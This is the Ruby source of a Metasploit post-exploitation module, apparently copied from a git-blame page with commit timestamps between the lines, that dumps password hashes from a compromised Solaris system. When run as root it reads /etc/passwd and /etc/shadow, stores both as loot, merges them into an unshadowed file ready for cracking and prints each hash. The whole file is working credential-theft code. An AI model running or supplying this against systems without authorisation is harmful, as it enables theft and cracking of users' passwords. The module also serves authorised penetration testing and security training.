2011-06-10 03:08:47 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-06-10 03:08:47 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Post
|
2013-09-05 18:41:25 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Solaris::Priv
|
2011-06-10 03:08:47 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems',
|
|
|
|
'Description' => %q{ Post Module to dump the password hashes for all users on a Solaris System},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
|
|
|
'Platform' => [ 'solaris' ],
|
|
|
|
'SessionTypes' => [ 'shell' ]
|
|
|
|
))
|
2011-06-10 03:08:47 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2011-06-10 03:08:47 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Run Method for when run command is issued
|
|
|
|
def run
|
|
|
|
if is_root?
|
|
|
|
passwd_file = read_file("/etc/passwd")
|
|
|
|
shadow_file = read_file("/etc/shadow")
|
2011-11-20 01:53:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Save in loot the passwd and shadow file
|
|
|
|
p1 = store_loot("solaris.shadow", "text/plain", session, shadow_file, "shadow.tx", "Solaris Password Shadow File")
|
|
|
|
p2 = store_loot("solaris.passwd", "text/plain", session, passwd_file, "passwd.tx", "Solaris Passwd File")
|
2017-07-19 12:02:49 +00:00
|
|
|
vprint_good("Shadow saved in: #{p1.to_s}")
|
|
|
|
vprint_good("passwd saved in: #{p2.to_s}")
|
2011-06-10 03:08:47 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Unshadow the files
|
|
|
|
john_file = unshadow(passwd_file, shadow_file)
|
|
|
|
john_file.each_line do |l|
|
|
|
|
print_good(l.chomp)
|
|
|
|
end
|
|
|
|
# Save pwd file
|
|
|
|
upassf = store_loot("solaris.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Solaris Unshadowed Password File")
|
|
|
|
print_good("Unshadowed Password File: #{upassf}")
|
2011-11-06 22:02:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
|
|
|
print_error("You must run this module as root!")
|
|
|
|
end
|
2011-06-10 03:08:47 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2011-06-10 03:08:47 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def unshadow(pf,sf)
|
|
|
|
unshadowed = ""
|
|
|
|
sf.each_line do |sl|
|
|
|
|
pass = sl.scan(/^\w*:([^:]*)/).join
|
|
|
|
if pass !~ /^\*LK\*|^NP/
|
|
|
|
user = sl.scan(/(^\w*):/).join
|
|
|
|
pf.each_line do |pl|
|
|
|
|
if pl.match(/^#{user}:/)
|
|
|
|
unshadowed << pl.gsub(/:x:/,":#{pass}:")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return unshadowed
|
|
|
|
end
|
2011-06-10 03:08:47 +00:00
|
|
|
end
|